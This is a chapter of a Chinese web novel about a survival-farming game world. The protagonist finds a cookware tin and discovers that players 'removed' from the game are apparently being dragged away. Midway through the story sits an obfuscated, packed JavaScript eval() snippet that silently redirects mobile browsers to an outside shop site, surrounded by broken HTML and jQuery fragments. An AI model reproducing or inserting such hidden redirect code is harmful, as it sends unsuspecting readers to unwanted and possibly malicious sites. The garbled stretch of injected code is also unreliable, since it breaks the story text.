【玩家“无名氏13”因体力值归零,已被移出残园。】

    【玩家“今天也想死”因体力值归零,已被移出残园。】

    【玩家“咸鱼一条”因体力值归零,已被移出残园。】

    三条灰色提示在面板顶端弹出,用的是毫不引人注意的字体,灰扑扑的,就像普通到不能再普通的通知一样。

    系统提示每日任务待做的通知弹出,一下就把这三条挤没了。

    童念深刚忙完手边的活,只瞥到“咸鱼一条”被移出游戏的通知。

    诶,这人不就是第一天就说很想回家,想妈妈的那个玩家吗?好像有点印象。

    现在不就好了,退游就回家了呗,又能和家人团聚了。

    真好啊。一丝羡艳之情不可避免地冒出来。

    ……现实生活的日子我是不想过了,在这儿了无牵挂地种种地多好呀,童念深一下子打消了脑海中一闪而过想要退游的念头。

    童念深今天心情不错,现下又正闲得没事干,点开和“咸鱼一条”的私聊,打了一行:“祝退游愉快,回到现实好好生活。”

    消息成功地发了出去,他正准备关掉面板,私聊对话框底部却忽然亮了一下。

    【咸鱼一条:退游?谁退游了?】

    【咸鱼一条:你好,请问你是谁呀?】

    童念深愣住了,赶快翻出系统历史消息面板,确认自己没看错,系统确实说已经把“咸鱼一条”移出残园了。

    【精神病一枚:你好,我是那个做清汤面的,你应该知道呀。我还记得那天你开了个空箱子,系统提示什么都没发生呢:)】

    童念深的眉毛蹙起来,疑惑不解,难道玩家被移出残园之后,账号会被另外的人继承吗?

    他很想打字再问问,却发现一直断断续续地显示对方正在输入中,就想等着“咸鱼一条”先说两句。

    但他没想到,比“咸鱼一条”的消息先来的是系统的警告。

    【警告!近期私信功能错误频发!请谨慎使用!】

    【童念深!切勿相信来源不明的私信!】

    【请勿打扰已退游玩家的生活!否则后果自负!】

    再一看,咸鱼一条的私信界面已无法再向他发出消息,头像变成了灰色的,昵称也变成了“已注销”。

    系统故障?童念深随手叉掉几条警告,心头有些警惕起来。

    ---

    砰砰的敲门声响起,童念深还没开门,就听到了小透明叫他“童老板!”的声音。

    门一开,小透明蹦进来,怀里兜着东西,进门就搁在桌上——一个圆形的铁盒,锈迹斑斑,盖子凹着一口锅的图案,底下三道火苗纹路。

    哎,这不就是那天小透明说的树底下的铁盒子吗?

    童念深一下子就认出来了,只不过这两天忙着,还从自家地里挖了个大箱子出来,竟然把这个小铁盒子忘了。

    “童老板,我觉得你应该能打开,帮我开一下呗,”小透明乖乖蹲在桌边,下巴搁在桌沿上,眼巴巴地看他,“我打了半天都没打开。”

    童念深揉了揉她的头:“好,我试试,但是不一定打得开哦。”

    他拿起铁盒在手上转了一圈,观察了一下,是否有缝隙。

    非常遗憾,一点缝隙也没有,甚至连装个样子的锁扣都没有,盖子严严实实扣在盒身上。

    童念深决定还是试着用薄石片撬一撬,他十指扣住盒盖边缘,指腹压紧,正打算跟这个铁家伙较一回劲时,箱子突然自己“咔哒”一声开了。

    小透明“啊”了一声站起来,童念深也愣住了。

    铁盒犹如有空间折叠术一般,里面塞满了东西,干枯的草茎裹着一件一件物件,码得齐齐整整。

    童念深拨开干草,指尖触到什么凉凉滑滑的东西。

    灶火的光一晃,白瓷釉面碗才展露出了全貌,温润得像刚出窑的模样。

    童念深大喜过望,多谢小透明带来这个铁盒,把东西一样一样往外拿。

    小透明露齿一笑:“童老板,你要做好准备哦,我以后肯定会经常来吃饭!”

    黑铁炒锅、平底的汤锅被放到一边,先前充数的石锅要准备下岗了。

    厨师刀一抽出来,锋利的刃划断了几根草茎,锃亮的刀身清晰地反射着两人喜笑颜开的样子。

    砧板厚实,木料实在,四个角削成圆圆的弧度,童念深看了就想往上拍点什么葱姜蒜。

    剩下的东西在台面上全摊开了,擀面杖、锅铲、汤勺、滤网、食品夹、打蛋器、量勺,每一件都各自隔开,躺在干草茎编的槽里,彼此碰不着响。

    搅拌碗白釉亮得晃眼,碗壁光光亮亮的,找不到一道磕痕。

    调料罐四个一排,木头塞子圆滚滚的。深口饭碗四只。餐盘两只,边沿描着极细的青纹,藤蔓的样子,弯弯绕绕的,不仔细看还看不出来。竹制筷子两双,顶端削得浑圆,握在手里很趁手。骨瓷勺子两只,勺面莹润平整,凑近了仿佛能照出人影。

    汤锅、砧板、刀具在灶台上一一摆好,瓷碗叠进木架,汤勺挂在灶台边沿,筷子插进新编的竹筒里。

    小透明蹲在桌边,伸手碰了一下饭碗的边沿又缩回去,怕摸坏了,她抬头看他:“童老板……你以后做饭肯定更好吃了,说真的,我能不能每天来帮你洗菜?不要钱,就蹭顿饭就行。”

    “当然可以啊,这套餐具还是你发现的呢,随便来吃饭,别这么客气。”童念深冲她笑笑,把那把厨师刀在手里转了半圈,刀刃的弧度刚好贴合他手指收拢的形状。

    ---

    老张扛着锄头,手里攥着一把青菜就来了。

    青菜翠绿,叶片宽厚,菜帮子水灵,根部还裹着碎泥,一看就是刚从地里弄出来。

    他进门看见灶台上那套新家什,锄头往门边一靠,凑过来看了一圈,拿起厨师刀对着光看了一眼刃口:“这套家伙事好啊!我活了老半辈子,都没用上过这么快的刀这么好的饭碗。交易频道换来的,小伙子,价格不菲吧?”

    “伯伯!是我找到的铁盒子里送的!”小透明抢着答话。

    “运气来登了哦小姑娘,不错不错!”老张笑道,用力拍了两下她的头,开始择青菜。

    童念深三两下把面揉好,迫不及待地拿起新厨师刀,锋利的刀刃轻轻往下一压,面团齐齐断开成两截,断口毫无粘连的痕迹,手起刀落,利落干脆得很。

    青菜入锅,野菇片在汤里翻滚。三个人一人一碗,端着今天新收获的白瓷餐具,蹲在灶台边,以最不拉风的姿势吃着最拉风的青菜野菇面。

    老张二话不说呼噜呼噜喝完一碗,轻手轻脚地把碗往桌上一放,刚想说什么,门外的天光忽然暗了。

    上一秒天明明还亮着,下一秒头顶上那层灰黑色的云骤然压近,仿佛沉重地堆在不远处的树梢上,狼吞虎咽地吞噬了大半的光线。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17918037|213383||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    风声呼啸,远处的树林被风掀起一阵又一阵凄厉的声音,溪水声在风声掩映下戛然而止,之前哗哗淌着的水像被什么东西一把攥住了喉咙,只剩下底层闷闷的涌动从地底下翻上来。

    童念深面还没吸溜完,赶忙把碗往桌上一放,跑出门,先把正在收野菇的小透明提溜进来,再三下五除二把果干晾晒架囫囵塞进了屋子里。

    几乎是在他关门的瞬间,第一颗雨珠砸向了大地。

    童念深的手背不幸遭了打,那滴雨落下来力道极大,砸在手背上像被小石子弹了一下。

    他下意识低头——圆滚滚的一颗水珠,亮晶晶的,在手背上停了一瞬,没有散开,像水银一样沿着手背弧度滚下去,落在地上溅出极细的一圈涟漪。

    先是一阵稀疏的重击,像有人从天上往下倾倒碎石子,砰砰砰砰砸在屋顶木板上,震得梁上积灰簌簌往下掉。然后那阵重击连成了片,缝隙之间空当全被填满,只剩下一个持续不断的闷响从头顶压下来,像整个天空翻了个面扣在这间小木屋上面。

    小透明蹲在墙角捂着耳朵,老张站在门背后,把门缝里渗进来的水流用脚拨开。

    “是冰雹吗?”小透明吼着问。

    老张侧头听了一会儿,摇头,大喊道:“不像,听起来不是脆的!”

    童念深站在窗边。新钉的两根木条在雨水拍打下微微颤着,水从木条之间的缝隙里挤进来,细细几道白线顺着窗框往下淌。

    天色已经完全暗下来,还没到夜晚时分,整个世界却如浓墨涂抹一般——树影和溪流全都融化在雨幕里。

    天地之间只剩倾泻而下的雨,一整片一整片地砸下来,空气的湿度骤然提高,每吸一口气都仿佛是在水里呼吸。

    童念深忽然察觉到一丝不对,雨打木门的声音不应该是这样的,他总感觉像是什么玻璃珠一样的东西叮叮当当撞在门上。

    老张也听到了,转过身来朝门的方向抬了抬下巴,和童念深一起走到门边,把门栓拉开一道缝,涌进来的雨水瞬间打湿了他半边肩膀。

    门槛外沿那层薄薄的水面上,一颗圆溜溜的东西不停滚动着,大概是刚好能握住的大小,半透明的,犹如被鸡蛋里的那层膜包着。

    三人的面板上同时弹出:[检测到珍稀物品,回响珠。]

    童念深赶紧蹲下查看,老张和小透明也围过来,可是珠子的表面雾蒙蒙的,怎么也看不到里面是什么样。

    小透明好奇地用手指戳了戳珠子,突然,珠子内部的景象清晰起来——

    “不——要——带——我——走——!”一阵凄厉的呐喊忽然从珠子中迸发,吓得小透明一屁股跌坐在地上,老张也往后退了两步,童念深强压住心中的惊惧,凑近继续查看珠子中的画面。

    一个模糊的、佝偻着的男人,四肢仿佛被黑雾缠绕着,正在从画面中心被往远处拖行。

    “我——要——回——家!”男人涕泗横流地嘶吼着,嘴角抽搐,眼中两行血泪流下。

    童念深眉头紧锁,思绪猛然被系统冰冷的声音打断。

    【回响珠:已开启。功能为记录/回放主人记忆片段】

    这枚珠子的主人估计就是眼前的男人,可这个男人是谁,又是往何处去?

    童念深咽一口唾沫,忍着恐惧,把珠子捏起来,仔细端详,突然那男人头上浮现出一行字——ID:咸鱼一条。

    这是什么退游方式?!